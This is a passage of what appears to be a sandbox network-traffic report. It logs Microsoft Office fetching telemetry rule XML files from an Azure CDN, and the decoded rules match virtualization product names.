29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.12	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:20 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:20 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151220Z-1746fd949bdmv56chC1EWRypnn00000001k0000000008wwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:20 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.12	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:20 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:21 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151221Z-1746fd949bdmv56chC1EWRypnn00000001m0000000005qdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:21 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.12	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:21 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 1a0f4f93-001e-0049-61cb-455bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151221Z-1746fd949bdzd2qvhC1EWRcygw000000010000000000mst2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.12	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:21 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:21 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151221Z-1746fd949bdjzh7thC1EWR3g6400000001a000000000mxsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:21 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.12	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151222Z-1746fd949bd4w8sthC1EWR7004000000014000000000d48x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.12	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:22 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 7057cc02-501e-008f-16cc-459054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151222Z-1746fd949bd54zxghC1EWRzre400000001qg000000006gz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:22 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.12	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:22 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 859db5fc-901e-005b-23cb-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151223Z-1746fd949bd77mkmhC1EWR5efc00000001p000000000btg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.12	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:23 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: bcf9f347-101e-007a-60d2-45047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151224Z-1746fd949bdjrnwqhC1EWRpg2800000001d000000000fakv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.12	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:23 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 68175a90-d01e-0065-3ed1-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151224Z-1746fd949bdkw94lhC1EWRxuz400000001n0000000002mzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.12	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:24 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151224Z-1746fd949bd2cq7chC1EWRnx9g0000000120000000007k8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.12	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:24 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151224Z-1746fd949bdjzh7thC1EWR3g6400000001b000000000hzb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.12	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:25 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:25 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0312aba8-e01e-0085-12cc-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151225Z-1746fd949bdjrnwqhC1EWRpg2800000001eg00000000bc8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
